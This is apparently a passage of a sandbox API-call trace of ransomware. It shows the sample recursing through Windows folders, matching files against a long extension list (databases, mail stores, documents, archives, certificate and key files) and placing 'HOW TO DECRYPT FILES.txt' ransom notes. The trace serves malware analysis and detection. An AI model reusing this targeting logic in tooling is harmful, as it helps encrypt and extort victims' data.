[0105.865] CloseHandle (hObject=0x90) returned 1 [0105.865] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\", lpString2="System.IdentityModel.Selectors.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll" [0105.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.ems") returned 0 [0105.865] lstrlenA (lpString="*.ems") returned 5 [0105.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.db") returned 0 [0105.865] lstrlenA (lpString="*.db") returned 4 [0105.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.dbf") returned 0 [0105.865] lstrlenA (lpString="*.dbf") returned 5 [0105.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.myox") returned 0 [0105.865] lstrlenA (lpString="*.myox") returned 6 [0105.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.myo") returned 0 [0105.866] lstrlenA (lpString="*.myo") returned 5 [0105.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbw") returned 0 [0105.866] lstrlenA (lpString="*.qbw") returned 5 [0105.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbb") returned 0 [0105.866] lstrlenA (lpString="*.qbb") returned 5 [0105.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbm") returned 0 [0105.866] lstrlenA (lpString="*.qbm") returned 5 [0105.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbo") returned 0 [0105.866] lstrlenA (lpString="*.qbo") returned 5 [0105.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbx") returned 0 [0105.866] lstrlenA (lpString="*.qbx") returned 5 [0105.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qba") returned 0 [0105.866] lstrlenA (lpString="*.qba") returned 5 [0105.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qby") returned 0 [0105.866] lstrlenA (lpString="*.qby") returned 5 [0105.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbj") returned 0 [0105.866] lstrlenA (lpString="*.qbj") returned 5 [0105.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.ofx") returned 0 [0105.867] lstrlenA (lpString="*.ofx") returned 5 [0105.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qif") returned 0 [0105.867] lstrlenA (lpString="*.qif") returned 5 [0105.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mye") returned 0 [0105.867] lstrlenA (lpString="*.mye") returned 5 [0105.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mbox") returned 0 [0105.867] lstrlenA (lpString="*.mbox") returned 6 [0105.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.eml") returned 0 [0105.867] lstrlenA (lpString="*.eml") returned 5 [0105.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.pst") returned 0 [0105.867] lstrlenA (lpString="*.pst") returned 5 [0105.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.ost") returned 0 [0105.867] lstrlenA (lpString="*.ost") returned 5 [0105.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.idx") returned 0 [0105.867] lstrlenA (lpString="*.idx") returned 5 [0105.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.dbx") returned 0 [0105.867] lstrlenA (lpString="*.dbx") returned 5 [0105.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.sql") returned 0 [0105.867] lstrlenA (lpString="*.sql") returned 5 [0105.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mdb") returned 0 [0105.868] lstrlenA (lpString="*.mdb") returned 5 [0105.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.fdb") returned 0 [0105.868] lstrlenA (lpString="*.fdb") returned 5 [0105.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.wab") returned 0 [0105.868] lstrlenA (lpString="*.wab") returned 5 [0105.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.dat") returned 0 [0105.868] lstrlenA (lpString="*.dat") returned 5 [0105.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.txt") returned 0 [0105.868] lstrlenA (lpString="*.txt") returned 5 [0105.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.jpeg") returned 0 [0105.868] lstrlenA (lpString="*.jpeg") returned 6 [0105.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.jpg") returned 0 [0105.868] lstrlenA (lpString="*.jpg") returned 5 [0105.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.png") returned 0 [0105.868] lstrlenA (lpString="*.png") returned 5 [0105.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.php") returned 0 [0105.868] lstrlenA (lpString="*.php") returned 5 [0105.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.cs") returned 0 [0105.868] lstrlenA (lpString="*.cs") returned 4 [0105.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.cpp") returned 0 [0105.869] lstrlenA (lpString="*.cpp") returned 5 [0105.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.rar") returned 0 [0105.869] lstrlenA (lpString="*.rar") returned 5 [0105.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.zip") returned 0 [0105.869] lstrlenA (lpString="*.zip") returned 5 [0105.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.html") returned 0 [0105.869] lstrlenA (lpString="*.html") returned 6 [0105.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.htm") returned 0 [0105.869] lstrlenA (lpString="*.htm") returned 5 [0105.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.xlsx") returned 0 [0105.869] lstrlenA (lpString="*.xlsx") returned 6 [0105.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.xls") returned 0 [0105.869] lstrlenA (lpString="*.xls") returned 5 [0105.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mp4") returned 0 [0105.869] lstrlenA (lpString="*.mp4") returned 5 [0105.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.ppt") returned 0 [0105.870] lstrlenA (lpString="*.ppt") returned 5 [0105.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.pptx") returned 0 [0105.870] lstrlenA (lpString="*.pptx") returned 6 [0105.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.doc") returned 0 [0105.870] lstrlenA (lpString="*.doc") returned 5 [0105.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.dot") returned 0 [0105.870] lstrlenA (lpString="*.dot") returned 5 [0105.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.docx") returned 0 [0105.870] lstrlenA (lpString="*.docx") returned 6 [0105.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.7z") returned 0 [0105.870] lstrlenA (lpString="*.7z") returned 4 [0105.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.tar") returned 0 [0105.870] lstrlenA (lpString="*.tar") returned 5 [0105.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.bz2") returned 0 [0105.870] lstrlenA (lpString="*.bz2") returned 5 [0105.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.gz") returned 0 [0105.871] lstrlenA (lpString="*.gz") returned 4 [0105.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mkv") returned 0 [0105.871] lstrlenA (lpString="*.mkv") returned 5 [0105.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.eml") returned 0 [0105.871] lstrlenA (lpString="*.eml") returned 5 [0105.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.msg") returned 0 [0105.871] lstrlenA (lpString="*.msg") returned 5 [0105.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.edb") returned 0 [0105.871] lstrlenA (lpString="*.edb") returned 5 [0105.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.accdb") returned 0 [0105.871] lstrlenA (lpString="*.accdb") returned 7 [0105.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.odb") returned 0 [0105.872] lstrlenA (lpString="*.odb") returned 5 [0105.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.java") returned 0 [0105.872] lstrlenA (lpString="*.java") returned 6 [0105.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.asm") returned 0 [0105.872] lstrlenA (lpString="*.asm") returned 5 [0105.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.pfx") returned 0 [0105.872] lstrlenA (lpString="*.pfx") returned 5 [0105.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.pem") returned 0 [0105.872] lstrlenA (lpString="*.pem") returned 5 [0105.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.p12") returned 0 [0105.872] lstrlenA (lpString="*.p12") returned 5 [0105.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.gpg") returned 0 [0105.872] lstrlenA (lpString="*.gpg") returned 5 [0105.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.vsd") returned 0 [0105.873] lstrlenA (lpString="*.vsd") returned 5 [0105.874] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58372417, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x58372417, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x58372417, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x34000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.874] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.874] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583be6d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x583be6d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x583be6d8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5490e4be56d6b1a80586439ac8b09b77", cAlternateFileName="5490E4~1")) returned 0 [0105.874] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0105.984] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57dcafcd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x57dcafcd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x57dcafcd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.IdentityModel", cAlternateFileName="SYSTEM~1.IDE")) returned 1 [0105.984] lstrcmpA (lpString1=".", lpString2="System.IdentityModel") returned -1 [0105.984] lstrcmpA (lpString1="..", lpString2="System.IdentityModel") returned -1 [0105.984] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0105.984] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.IdentityModel" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel" [0105.984] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel") returned 67 [0105.984] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57dcafcd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x57dcafcd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x57dcafcd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0105.985] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.985] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57dcafcd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x57dcafcd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x57dcafcd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.985] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.985] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.985] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57dcafcd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x57dcafcd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x57dcafcd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b4c60dd01be760ee0452df2c040de8fc", cAlternateFileName="B4C60D~1")) returned 1 [0105.985] lstrcmpA (lpString1=".", lpString2="b4c60dd01be760ee0452df2c040de8fc") returned -1 [0105.985] lstrcmpA (lpString1="..", lpString2="b4c60dd01be760ee0452df2c040de8fc") returned -1 [0105.985] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\*.*") returned="*.*" [0105.985] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\", lpString2="b4c60dd01be760ee0452df2c040de8fc" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc" [0105.985] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc") returned 100 [0105.985] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57dcafcd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x57dcafcd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x57dcafcd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.986] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.986] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57dcafcd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x57dcafcd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x57dcafcd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.986] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.986] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.986] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d0c8ec, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x57d0c8ec, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x57d32a4c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x108800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IdentityModel.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.986] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.986] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IdentityModel.ni.dll") returned -1 [0105.986] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IdentityModel.ni.dll") returned -1 [0105.986] lstrcmpiA (lpString1="", lpString2="System.IdentityModel.ni.dll") returned -1 [0105.986] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\*.*") returned="*.*" [0105.986] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\" [0105.987] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\") returned="" [0105.987] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\HOW TO DECRYPT 